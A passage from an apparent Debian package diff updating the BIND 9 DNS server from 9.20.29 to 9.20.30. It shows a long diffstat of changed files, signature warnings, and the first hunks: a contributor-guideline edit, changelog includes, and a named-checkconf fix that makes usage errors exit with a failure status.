bind9-9.20.30/bin/tests/system/nsupdate/ans4/ans.py | 5 bind9-9.20.30/bin/tests/system/nsupdate/tests.sh | 34 bind9-9.20.30/bin/tests/system/nsupdate/tests_sh_nsupdate.py | 3 bind9-9.20.30/bin/tests/system/nsupdate/tests_update_sig.py | 18 bind9-9.20.30/bin/tests/system/nta/tests_nta.py | 2 bind9-9.20.30/bin/tests/system/nzd2nzf/tests_nzd2nzf.py | 3 bind9-9.20.30/bin/tests/system/optout/tests_optout.py | 5 bind9-9.20.30/bin/tests/system/org.isc.bind.system | 2 bind9-9.20.30/bin/tests/system/outofzone_zonecut/tests_outofzone_zonecut.py | 6 bind9-9.20.30/bin/tests/system/padding/tests_sh_padding.py | 2 bind9-9.20.30/bin/tests/system/pending/tests_sh_pending.py | 2 bind9-9.20.30/bin/tests/system/pipelined/ans5/ans.py | 25 bind9-9.20.30/bin/tests/system/pipelined/inputb | 8 bind9-9.20.30/bin/tests/system/pipelined/pipequeries.c | 304 - bind9-9.20.30/bin/tests/system/pipelined/refb | 8 bind9-9.20.30/bin/tests/system/pipelined/tests.sh | 29 bind9-9.20.30/bin/tests/system/pipelined/tests_sh_pipelined.py | 4 bind9-9.20.30/bin/tests/system/proxy/tests_sh_proxy.py | 2 bind9-9.20.30/bin/tests/system/qmin/ans2/1.0.0.2.ip6.arpa.db | 17 bind9-9.20.30/bin/tests/system/qmin/ans2/ans.py | 48 bind9-9.20.30/bin/tests/system/qmin/ans2/bad.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/fwd.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/good.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/slow.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/stale.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans2/ugly.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/zones/1.0.0.2.ip6.arpa.db | 17 bind9-9.20.30/bin/tests/system/qmin/ans2/zones/bad.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/zones/fwd.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/zones/good.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/zones/slow.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans2/zones/stale.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans2/zones/ugly.db | 26 bind9-9.20.30/bin/tests/system/qmin/ans3/8.2.6.0.1.0.0.2.ip6.arpa.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans3/a.b.stale.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans3/ans.py | 31 bind9-9.20.30/bin/tests/system/qmin/ans3/zones/8.2.6.0.1.0.0.2.ip6.arpa.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans3/zones/a.b.stale.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.bad.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.good.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.slow.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.ugly.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.bad.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.good.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.slow.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.ugly.db | 14 bind9-9.20.30/bin/tests/system/qmin/ans4/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/a.b.stale.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/ans.py | 49 bind9-9.20.30/bin/tests/system/qmin/ans4/b.stale.db | 16 bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.bad.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.good.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.slow.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/icky.ptang.zoop.boing.ugly.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/zones/1.1.1.1.8.2.6.0.1.0.0.2.ip6.arpa.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/zones/a.b.stale.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/zones/b.stale.db | 16 bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.bad.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.good.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.slow.db | 15 bind9-9.20.30/bin/tests/system/qmin/ans4/zones/icky.ptang.zoop.boing.ugly.db | 15 bind9-9.20.30/bin/tests/system/qmin/qmin_ans.py | 42 bind9-9.20.30/bin/tests/system/qmin/tests_sh_qmin.py | 3 bind9-9.20.30/bin/tests/system/qpcache_rrsig_any/ans3/ans.py | 47 bind9-9.20.30/bin/tests/system/qpcache_rrsig_any/tests_qpcache_rrsig_any.py | 5 bind9-9.20.30/bin/tests/system/query_source/tests_querysource_none.py | 4 bind9-9.20.30/bin/tests/system/randomizens/tests_randomizens.py | 2 bind9-9.20.30/bin/tests/system/re_compile_checker.py | 2 bind9-9.20.30/bin/tests/system/reclimit/ans2/ans.py | 34 bind9-9.20.30/bin/tests/system/reclimit/ans4/ans.py | 22 bind9-9.20.30/bin/tests/system/reclimit/ans7/ans.py | 25 bind9-9.20.30/bin/tests/system/reclimit/reclimit_ans.py | 80 bind9-9.20.30/bin/tests/system/reclimit/tests_sh_reclimit.py | 3 bind9-9.20.30/bin/tests/system/redirect/ns10/named.conf.j2 | 1 bind9-9.20.30/bin/tests/system/redirect/ns11/named.conf.j2 | 34 bind9-9.20.30/bin/tests/system/redirect/ns11/redirect.db | 5 bind9-9.20.30/bin/tests/system/redirect/ns11/root.hints | 2 bind9-9.20.30/bin/tests/system/redirect/ns9/sign.sh | 1 bind9-9.20.30/bin/tests/system/redirect/tests_redirect_dns64.py | 5 bind9-9.20.30/bin/tests/system/redirect/tests_redirect_qmin.py | 120 bind9-9.20.30/bin/tests/system/redirect/tests_redirect_qminzone.py | 97 bind9-9.20.30/bin/tests/system/redirect/tests_sh_redirect.py | 3 bind9-9.20.30/bin/tests/system/requirements.txt | 3 bind9-9.20.30/bin/tests/system/resend_loop/ans3/ans.py | 23 bind9-9.20.30/bin/tests/system/resend_loop/tests_resend_loop.py | 2 bind9-9.20.30/bin/tests/system/resolver/ans10/ans.py | 14 bind9-9.20.30/bin/tests/system/resolver/ans2/ans.py | 87 bind9-9.20.30/bin/tests/system/resolver/ans3/ans.py | 169 bind9-9.20.30/bin/tests/system/resolver/ans8/ans.py | 73 bind9-9.20.30/bin/tests/system/resolver/resolver_ans.py | 60 bind9-9.20.30/bin/tests/system/resolver/tests.sh | 2 bind9-9.20.30/bin/tests/system/resolver/tests_resolver.py | 2 bind9-9.20.30/bin/tests/system/resolver/tests_sh_resolver.py | 3 bind9-9.20.30/bin/tests/system/rfc5011/tests_rfc5011.py | 2 bind9-9.20.30/bin/tests/system/rndc/tests.sh | 8 bind9-9.20.30/bin/tests/system/rndc/tests_cve_2023_3341.py | 4 bind9-9.20.30/bin/tests/system/rndc/tests_sh_rndc.py | 3 bind9-9.20.30/bin/tests/system/rndc_confgen/tests_rndc_confgen.py | 2 bind9-9.20.30/bin/tests/system/rollover/common.py | 2 bind9-9.20.30/bin/tests/system/rollover/setup.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_csk_initial.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_csk_reconfig.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_initial.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_algo_ksk_zsk_reconfig.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_csk_roll1.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_csk_roll2.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_dynamic2inline.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_enable_dnssec.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_going_insecure_initial.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_going_insecure_reconfig.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_ksk_doubleksk.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_lifetime_initial.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_lifetime_reconfig.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_manual.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_multisigner.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_straight2none_initial.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_straight2none_reconfig.py | 2 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_three_is_a_crowd.py | 6 bind9-9.20.30/bin/tests/system/rollover/tests_rollover_zsk_prepublication.py | 2 bind9-9.20.30/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py | 2 bind9-9.20.30/bin/tests/system/rpz/ns11/named.conf.j2 | 2 bind9-9.20.30/bin/tests/system/rpz/tests_rpz_6407.py | 2 bind9-9.20.30/bin/tests/system/rpz/tests_rpz_outofzone.py | 4 bind9-9.20.30/bin/tests/system/rpz/tests_sh_rpz.py | 2 bind9-9.20.30/bin/tests/system/rpz/tests_sh_rpz_dnsrps.py | 2 bind9-9.20.30/bin/tests/system/rpzextra/tests_rpzextra.py | 4 bind9-9.20.30/bin/tests/system/rpzrecurse/ans5/ans.py | 38 bind9-9.20.30/bin/tests/system/rpzrecurse/ans7/ans.py | 58 bind9-9.20.30/bin/tests/system/rpzrecurse/ns1/root.db | 6 bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/db.nsdname | 15 bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/db.rpzip | 15 bind9-9.20.30/bin/tests/system/rpzrecurse/ns2/named.cve-2026-97313.conf | 21 bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/named.args | 1 bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/named.conf.j2 | 31 bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/nonrecursive-policy.db | 8 bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/recursive-policy.db | 7 bind9-9.20.30/bin/tests/system/rpzrecurse/ns8/root.hint | 3 bind9-9.20.30/bin/tests/system/rpzrecurse/tests.sh | 32 bind9-9.20.30/bin/tests/system/rpzrecurse/tests_client_reuse.py | 44 bind9-9.20.30/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse.py | 3 bind9-9.20.30/bin/tests/system/rpzrecurse/tests_sh_rpzrecurse_dnsrps.py | 3 bind9-9.20.30/bin/tests/system/rrchecker/tests_rrchecker.py | 2 bind9-9.20.30/bin/tests/system/rrl/tests.sh | 7 bind9-9.20.30/bin/tests/system/rrl/tests_sh_rrl.py | 2 bind9-9.20.30/bin/tests/system/rrsetorder/tests_sh_rrsetorder.py | 2 bind9-9.20.30/bin/tests/system/rsabigexponent/tests_rsabigexponent.py | 2 bind9-9.20.30/bin/tests/system/runtime/tests_sh_runtime.py | 2 bind9-9.20.30/bin/tests/system/selfpointedglue/tests_selfpointedglue.py | 2 bind9-9.20.30/bin/tests/system/selftest/tests_template.py | 90 bind9-9.20.30/bin/tests/system/selftest/tests_zone_analyzer.py | 228 - bind9-9.20.30/bin/tests/system/serve_stale/ans2/ans.py | 55 bind9-9.20.30/bin/tests/system/serve_stale/ans8/ans.py | 37 bind9-9.20.30/bin/tests/system/serve_stale/ans9/ans.py | 26 bind9-9.20.30/bin/tests/system/serve_stale/serve_stale_ans.py | 37 bind9-9.20.30/bin/tests/system/serve_stale/tests.sh | 27 bind9-9.20.30/bin/tests/system/serve_stale/tests_serve_stale_ncache.py | 7 bind9-9.20.30/bin/tests/system/serve_stale/tests_serve_stale_tcp.py | 12 bind9-9.20.30/bin/tests/system/serve_stale/tests_sh_serve_stale.py | 3 bind9-9.20.30/bin/tests/system/sfcache/tests_sh_sfcache.py | 2 bind9-9.20.30/bin/tests/system/sfcache_cname/tests_sfcache_cname.py | 3 bind9-9.20.30/bin/tests/system/shutdown/tests_shutdown.py | 7 bind9-9.20.30/bin/tests/system/sig0/ns1/example2.db | 9 bind9-9.20.30/bin/tests/system/sig0/ns1/named.conf.j2 | 8 bind9-9.20.30/bin/tests/system/sig0/tests_hmac_sig0.py | 75 bind9-9.20.30/bin/tests/system/sig0/tests_sig0.py | 6 bind9-9.20.30/bin/tests/system/sig0_https/tests_sig0_https.py | 2 bind9-9.20.30/bin/tests/system/smartsign/tests_sh_smartsign.py | 2 bind9-9.20.30/bin/tests/system/sortlist/tests_sortlist.py | 10 bind9-9.20.30/bin/tests/system/spf/tests_spf_zones.py | 2 bind9-9.20.30/bin/tests/system/srtt/ans2/ans.py | 25 bind9-9.20.30/bin/tests/system/srtt/ans3/ans.py | 25 bind9-9.20.30/bin/tests/system/srtt/ans4/ans.py | 25 bind9-9.20.30/bin/tests/system/srtt/ans5/ans.py | 25 bind9-9.20.30/bin/tests/system/srtt/srtt_ans.py | 37 bind9-9.20.30/bin/tests/system/srtt/tests_srtt.py | 2 bind9-9.20.30/bin/tests/system/ssumaxtype/tests_ssumaxtype.py | 30 bind9-9.20.30/bin/tests/system/ssutoctou/tests_ssutoctou.py | 14 bind9-9.20.30/bin/tests/system/start.pl | 36 bind9-9.20.30/bin/tests/system/staticstub/tests_sh_staticstub.py | 2 bind9-9.20.30/bin/tests/system/statistics/ans4/ans.py | 38 bind9-9.20.30/bin/tests/system/statistics/tests.sh | 16 bind9-9.20.30/bin/tests/system/statistics/tests_sh_statistics.py | 3 bind9-9.20.30/bin/tests/system/statschannel/__init__.py | 3 bind9-9.20.30/bin/tests/system/statschannel/conftest.py | 2 bind9-9.20.30/bin/tests/system/statschannel/generic.py | 2 bind9-9.20.30/bin/tests/system/statschannel/tests.sh | 2 bind9-9.20.30/bin/tests/system/statschannel/tests_json.py | 4 bind9-9.20.30/bin/tests/system/statschannel/tests_sh_statschannel.py | 2 bind9-9.20.30/bin/tests/system/statschannel/tests_xml.py | 4 bind9-9.20.30/bin/tests/system/stress/tests_stress_update.py | 2 bind9-9.20.30/bin/tests/system/stub/tests_stub.py | 3 bind9-9.20.30/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py | 2 bind9-9.20.30/bin/tests/system/tcp/tests_tcp.py | 11 bind9-9.20.30/bin/tests/system/testsock.pl | 55 bind9-9.20.30/bin/tests/system/testsock6.pl | 26 bind9-9.20.30/bin/tests/system/timeouts/tests_tcp_timeouts.py | 4 bind9-9.20.30/bin/tests/system/tkey/tests_cve_2026_3119.py | 7 bind9-9.20.30/bin/tests/system/tkey/tests_no_options.py | 8 bind9-9.20.30/bin/tests/system/tkeyleak/tests_tkeyleak.py | 20 bind9-9.20.30/bin/tests/system/tools/tests_sh_tools.py | 6 bind9-9.20.30/bin/tests/system/tools/tests_tools_nsec3hash.py | 2 bind9-9.20.30/bin/tests/system/transport_acl/tests_sh_transport_acl.py | 2 bind9-9.20.30/bin/tests/system/transport_change/tests_sh_transport_change.py | 2 bind9-9.20.30/bin/tests/system/tsig/ans2/ans.py | 32 bind9-9.20.30/bin/tests/system/tsig/tests_badtime.py | 5 bind9-9.20.30/bin/tests/system/tsig/tests_sh_tsig.py | 3 bind9-9.20.30/bin/tests/system/tsig/tests_tsig_hypothesis.py | 5 bind9-9.20.30/bin/tests/system/tsiggss/tests.sh | 2 bind9-9.20.30/bin/tests/system/tsiggss/tests_gss_context.py | 179 bind9-9.20.30/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py | 3 bind9-9.20.30/bin/tests/system/tsiggss/tests_sh_tsiggss.py | 2 bind9-9.20.30/bin/tests/system/ttl/tests_cache_ttl.py | 2 bind9-9.20.30/bin/tests/system/unknown/tests_sh_unknown.py | 2 bind9-9.20.30/bin/tests/system/update_query_acl/ns1/named.conf.j2 | 32 bind9-9.20.30/bin/tests/system/update_query_acl/ns2/named.conf.j2 | 36 bind9-9.20.30/bin/tests/system/update_query_acl/tests_prereq_only_update.py | 123 bind9-9.20.30/bin/tests/system/upforwd/ans4/ans.py | 25 bind9-9.20.30/bin/tests/system/upforwd/tests_sh_upforwd.py | 3 bind9-9.20.30/bin/tests/system/verify/tests_verify.py | 13 bind9-9.20.30/bin/tests/system/views/tests_sh_views.py | 2 bind9-9.20.30/bin/tests/system/vulture_ignore_list.py | 2 bind9-9.20.30/bin/tests/system/wildcard/tests_nonterminal_wildcard.py | 10 bind9-9.20.30/bin/tests/system/wildcard/tests_sh_wildcard.py | 2 bind9-9.20.30/bin/tests/system/wildcard/tests_wildcard.py | 22 bind9-9.20.30/bin/tests/system/xfer/ans10/ans.py | 5 bind9-9.20.30/bin/tests/system/xfer/ans11/ans.py | 84 bind9-9.20.30/bin/tests/system/xfer/ans5/ans.py | 54 bind9-9.20.30/bin/tests/system/xfer/ans9/ans.py | 44 bind9-9.20.30/bin/tests/system/xfer/response1.good | 3 bind9-9.20.30/bin/tests/system/xfer/response2.good | 1 bind9-9.20.30/bin/tests/system/xfer/setup.sh | 3 bind9-9.20.30/bin/tests/system/xfer/tests_retransfer_with_force.py | 2 bind9-9.20.30/bin/tests/system/xfer/tests_retransfer_with_transferstuck.py | 2 bind9-9.20.30/bin/tests/system/xfer/tests_xfer.py | 3 bind9-9.20.30/bin/tests/system/xfer_servers_list/tests_xfer_servers_list.py | 2 bind9-9.20.30/bin/tests/system/xferquota/setup.py | 4 bind9-9.20.30/bin/tests/system/xferquota/tests_xferquota.py | 9 bind9-9.20.30/bin/tests/system/zero/ans5/ans.py | 30 bind9-9.20.30/bin/tests/system/zero/tests_sh_zero.py | 3 bind9-9.20.30/bin/tests/system/zonechecks/tests_sh_zonechecks.py | 2 bind9-9.20.30/bin/tools/dnstap-read.c | 3 bind9-9.20.30/bin/tools/mdig.c | 10 bind9-9.20.30/bin/tools/named-rrchecker.c | 6 bind9-9.20.30/configure | 24 bind9-9.20.30/configure.ac | 2 bind9-9.20.30/contrib/gitchangelog/changelog.rc.py | 1 bind9-9.20.30/contrib/gitchangelog/relnotes.rc.py | 1 bind9-9.20.30/debian/changelog | 14 bind9-9.20.30/doc/arm/_ext/iscconf.py | 56 bind9-9.20.30/doc/arm/_ext/mergegrammar.py | 2 bind9-9.20.30/doc/arm/_ext/namedconf.py | 2 bind9-9.20.30/doc/arm/_ext/rndcconf.py | 2 bind9-9.20.30/doc/arm/changelog.rst | 1 bind9-9.20.30/doc/arm/conf.py | 2 bind9-9.20.30/doc/arm/dnssec.inc.rst | 2 bind9-9.20.30/doc/arm/notes.rst | 1 bind9-9.20.30/doc/arm/reference.rst | 3 bind9-9.20.30/doc/changelog/changelog-9.20.29.rst | 5 bind9-9.20.30/doc/changelog/changelog-9.20.30.rst | 321 + bind9-9.20.30/doc/man/conf.py | 2 bind9-9.20.30/doc/misc/checkgrammar.py | 16 bind9-9.20.30/doc/misc/parsegrammar.py | 20 bind9-9.20.30/doc/notes/notes-9.20.30.rst | 196 + bind9-9.20.30/fuzz/dns_name_fromwire.c | 10 bind9-9.20.30/fuzz/dns_qpkey_name.c | 4 bind9-9.20.30/fuzz/dns_rdata_fromwire_text.c | 7 bind9-9.20.30/fuzz/main.c | 8 bind9-9.20.30/fuzz/old.c | 25 bind9-9.20.30/fuzz/old.h | 5 bind9-9.20.30/lib/dns/catz.c | 18 bind9-9.20.30/lib/dns/diff.c | 99 bind9-9.20.30/lib/dns/dns64.c | 3 bind9-9.20.30/lib/dns/dnssec.c | 56 bind9-9.20.30/lib/dns/dst_api.c | 31 bind9-9.20.30/lib/dns/dst_parse.c | 4 bind9-9.20.30/lib/dns/geoip2.c | 6 bind9-9.20.30/lib/dns/gssapi_link.c | 21 bind9-9.20.30/lib/dns/include/dns/compress.h | 74 bind9-9.20.30/lib/dns/include/dns/diff.h | 58 bind9-9.20.30/lib/dns/include/dns/message.h | 7 bind9-9.20.30/lib/dns/include/dns/name.h | 43 bind9-9.20.30/lib/dns/include/dns/rdata.h | 6 bind9-9.20.30/lib/dns/include/dns/tsig.h | 27 bind9-9.20.30/lib/dns/include/dns/types.h | 2 bind9-9.20.30/lib/dns/include/dst/dst.h | 10 bind9-9.20.30/lib/dns/journal.c | 61 bind9-9.20.30/lib/dns/keymgr.c | 24 bind9-9.20.30/lib/dns/keystore.c | 2 bind9-9.20.30/lib/dns/master.c | 20 bind9-9.20.30/lib/dns/masterdump.c | 3 bind9-9.20.30/lib/dns/message.c | 75 bind9-9.20.30/lib/dns/name.c | 38 bind9-9.20.30/lib/dns/nsec3.c | 65 bind9-9.20.30/lib/dns/qpcache.c | 96 bind9-9.20.30/lib/dns/rbt-cachedb.c | 96 bind9-9.20.30/lib/dns/rdata.c | 12 bind9-9.20.30/lib/dns/rdata/any_255/tsig_250.c | 2 bind9-9.20.30/lib/dns/rdata/ch_3/a_1.c | 2 bind9-9.20.30/lib/dns/rdata/generic/afsdb_18.c | 2 bind9-9.20.30/lib/dns/rdata/generic/amtrelay_260.c | 2 bind9-9.20.30/lib/dns/rdata/generic/cname_5.c | 2 bind9-9.20.30/lib/dns/rdata/generic/dname_39.c | 2 bind9-9.20.30/lib/dns/rdata/generic/dsync_66.c | 2 bind9-9.20.30/lib/dns/rdata/generic/hip_55.c | 1 bind9-9.20.30/lib/dns/rdata/generic/ipseckey_45.c | 2 bind9-9.20.30/lib/dns/rdata/generic/lp_107.c | 2 bind9-9.20.30/lib/dns/rdata/generic/mb_7.c | 2 bind9-9.20.30/lib/dns/rdata/generic/md_3.c | 2 bind9-9.20.30/lib/dns/rdata/generic/mf_4.c | 2 bind9-9.20.30/lib/dns/rdata/generic/mg_8.c | 2 bind9-9.20.30/lib/dns/rdata/generic/minfo_14.c | 2 bind9-9.20.30/lib/dns/rdata/generic/mr_9.c | 2 bind9-9.20.30/lib/dns/rdata/generic/mx_15.c | 2 bind9-9.20.30/lib/dns/rdata/generic/naptr_35.c | 2 bind9-9.20.30/lib/dns/rdata/generic/ns_2.c | 2 bind9-9.20.30/lib/dns/rdata/generic/nsec_47.c | 2 bind9-9.20.30/lib/dns/rdata/generic/nxt_30.c | 2 bind9-9.20.30/lib/dns/rdata/generic/proforma.c | 6 bind9-9.20.30/lib/dns/rdata/generic/ptr_12.c | 2 bind9-9.20.30/lib/dns/rdata/generic/rp_17.c | 2 bind9-9.20.30/lib/dns/rdata/generic/rrsig_46.c | 2 bind9-9.20.30/lib/dns/rdata/generic/rt_21.c | 2 bind9-9.20.30/lib/dns/rdata/generic/sig_24.c | 2 bind9-9.20.30/lib/dns/rdata/generic/soa_6.c | 2 bind9-9.20.30/lib/dns/rdata/generic/talink_58.c | 2 bind9-9.20.30/lib/dns/rdata/generic/tkey_249.c | 2 bind9-9.20.30/lib/dns/rdata/generic/uri_256.c | 16 bind9-9.20.30/lib/dns/rdata/in_1/a6_38.c | 2 bind9-9.20.30/lib/dns/rdata/in_1/apl_42.c | 3 bind9-9.20.30/lib/dns/rdata/in_1/kx_36.c | 2 bind9-9.20.30/lib/dns/rdata/in_1/nsap-ptr_23.c | 2 bind9-9.20.30/lib/dns/rdata/in_1/px_26.c | 2 bind9-9.20.30/lib/dns/rdata/in_1/srv_33.c | 2 bind9-9.20.30/lib/dns/rdata/in_1/svcb_64.c | 21 bind9-9.20.30/lib/dns/resconf.c | 20 bind9-9.20.30/lib/dns/resolver.c | 123 bind9-9.20.30/lib/dns/rpz.c | 137 bind9-9.20.30/lib/dns/rrl.c | 27 bind9-9.20.30/lib/dns/sdlz.c | 5 bind9-9.20.30/lib/dns/ssu_external.c | 4 bind9-9.20.30/lib/dns/time.c | 7 bind9-9.20.30/lib/dns/tkey.c | 16 bind9-9.20.30/lib/dns/tsig.c | 131 bind9-9.20.30/lib/dns/update.c | 131 bind9-9.20.30/lib/dns/validator.c | 36 bind9-9.20.30/lib/dns/view.c | 64 bind9-9.20.30/lib/dns/xfrin.c | 3 bind9-9.20.30/lib/dns/zone.c | 240 - bind9-9.20.30/lib/dns/zt.c | 3 bind9-9.20.30/lib/isc/Makefile.am | 2 bind9-9.20.30/lib/isc/Makefile.in | 40 bind9-9.20.30/lib/isc/assertions.c | 1 bind9-9.20.30/lib/isc/httpd.c | 4 bind9-9.20.30/lib/isc/include/isc/assertions.h | 1 bind9-9.20.30/lib/isc/include/isc/dir.h | 4 bind9-9.20.30/lib/isc/include/isc/lex.h | 25 bind9-9.20.30/lib/isc/include/isc/stats.h | 2 bind9-9.20.30/lib/isc/include/isc/string.h | 42 bind9-9.20.30/lib/isc/include/isc/time.h | 17 bind9-9.20.30/lib/isc/include/isc/tm.h | 39 bind9-9.20.30/lib/isc/mem.c | 18 bind9-9.20.30/lib/isc/time.c | 5 bind9-9.20.30/lib/isc/tls.c | 3 bind9-9.20.30/lib/isc/tm.c | 467 -- bind9-9.20.30/lib/isc/work.c | 14 bind9-9.20.30/lib/isccc/alist.c | 4 bind9-9.20.30/lib/isccc/include/isccc/sexpr.h | 4 bind9-9.20.30/lib/isccc/sexpr.c | 114 bind9-9.20.30/lib/isccfg/aclconf.c | 6 bind9-9.20.30/lib/isccfg/check.c | 99 bind9-9.20.30/lib/isccfg/parser.c | 8 bind9-9.20.30/lib/ns/client.c | 2 bind9-9.20.30/lib/ns/query.c | 60 bind9-9.20.30/lib/ns/update.c | 165 bind9-9.20.30/srcid | 2 bind9-9.20.30/tests/bench/dns_name_fromwire.c | 12 bind9-9.20.30/tests/dns/master_test.c | 25 bind9-9.20.30/tests/dns/message_test.c | 40 bind9-9.20.30/tests/dns/name_test.c | 432 +- bind9-9.20.30/tests/dns/qpdb_test.c | 333 + bind9-9.20.30/tests/dns/rdata_test.c | 319 + bind9-9.20.30/tests/dns/tsig_test.c | 335 + bind9-9.20.30/tests/isc/Makefile.am | 1 bind9-9.20.30/tests/isc/Makefile.in | 35 bind9-9.20.30/tests/isc/lex_test.c | 117 bind9-9.20.30/tests/isc/string_test.c | 95 bind9-9.20.30/tests/isccfg/parser_test.c | 32 779 files changed, 15459 insertions(+), 9016 deletions(-) dpkg-source: warning: cannot verify inline signature for /srv/release.debian.org/tmp/tmp_7hnpod1/bind9_9.20.29-1~deb13u1.dsc: no acceptable signature found dpkg-source: warning: cannot verify inline signature for /srv/release.debian.org/tmp/tmp_7hnpod1/bind9_9.20.30-1~deb13u1.dsc: no acceptable signature found diff -Nru bind9-9.20.29/CONTRIBUTING.md bind9-9.20.30/CONTRIBUTING.md --- bind9-9.20.29/CONTRIBUTING.md 2026-09-11 19:41:01.048320109 +0000 +++ bind9-9.20.30/CONTRIBUTING.md 2026-10-12 13:12:07.916889413 +0000 @@ -371,7 +371,7 @@ - `AGENT_NAME` is the name of the AI tool or framework. - `MODEL_VERSION` is the specific model version used. - `[TOOL1] [TOOL2]` are optional specialized analysis tools used - (e.g., coccinelle, clang-tidy, AFL, Coverity). + (e.g., coccinelle, clang-tidy, AFL). Basic development tools (git, compilers, meson, ninja, editors, clang-format, black, ruff) should not be listed. diff -Nru bind9-9.20.29/ChangeLog bind9-9.20.30/ChangeLog --- bind9-9.20.29/ChangeLog 2026-09-11 19:41:01.414328914 +0000 +++ bind9-9.20.30/ChangeLog 2026-10-12 13:12:08.324898137 +0000 @@ -18,6 +18,7 @@ development. Regular users should refer to :ref:`Release Notes ` for changes relevant to them. +.. include:: ../changelog/changelog-9.20.30.rst .. include:: ../changelog/changelog-9.20.29.rst .. include:: ../changelog/changelog-9.20.28.rst .. include:: ../changelog/changelog-9.20.27.rst diff -Nru bind9-9.20.29/NEWS bind9-9.20.30/NEWS --- bind9-9.20.29/NEWS 2026-09-11 19:41:01.414328914 +0000 +++ bind9-9.20.30/NEWS 2026-10-12 13:12:08.324898137 +0000 @@ -18,6 +18,7 @@ development. Regular users should refer to :ref:`Release Notes ` for changes relevant to them. +.. include:: ../changelog/changelog-9.20.30.rst .. include:: ../changelog/changelog-9.20.29.rst .. include:: ../changelog/changelog-9.20.28.rst .. include:: ../changelog/changelog-9.20.27.rst diff -Nru bind9-9.20.29/bin/check/named-checkconf.c bind9-9.20.30/bin/check/named-checkconf.c --- bind9-9.20.29/bin/check/named-checkconf.c 2026-09-11 19:41:01.051320182 +0000 +++ bind9-9.20.30/bin/check/named-checkconf.c 2026-10-12 13:12:07.919889477 +0000 @@ -48,15 +48,15 @@ /*% usage */ noreturn static void -usage(void); +usage(int status); static void -usage(void) { +usage(int status) { fprintf(stderr, "usage: %s [-achijklvz] [-p [-x]] [-t directory] " "[named.conf]\n", program); - exit(EXIT_SUCCESS); + exit(status); } /*% directory callback */ @@ -691,10 +691,11 @@ fprintf(stderr, "%s: invalid argument -%c\n", program, isc_commandline_option); } - FALLTHROUGH; + usage(EXIT_FAILURE); + case 'h': isc_mem_detach(&mctx); - usage(); + usage(EXIT_SUCCESS); default: fprintf(stderr, "%s: unhandled option -%c\n", program, @@ -714,7 +715,7 @@ if (isc_commandline_index + 1 < argc) { isc_mem_detach(&mctx); - usage(); + usage(EXIT_FAILURE); } if (argv[isc_commandline_index] != NULL) { conffile = argv[isc_commandline_index]; diff -Nru bind9-9.20.29/bin/check/named-checkzone.c bind9-9.20.30/bin/check/named-checkzone.c --- bind9-9.20.29/bin/check/named-checkzone.c 2026-09-11 19:41:01.051320182 +0000 +++ 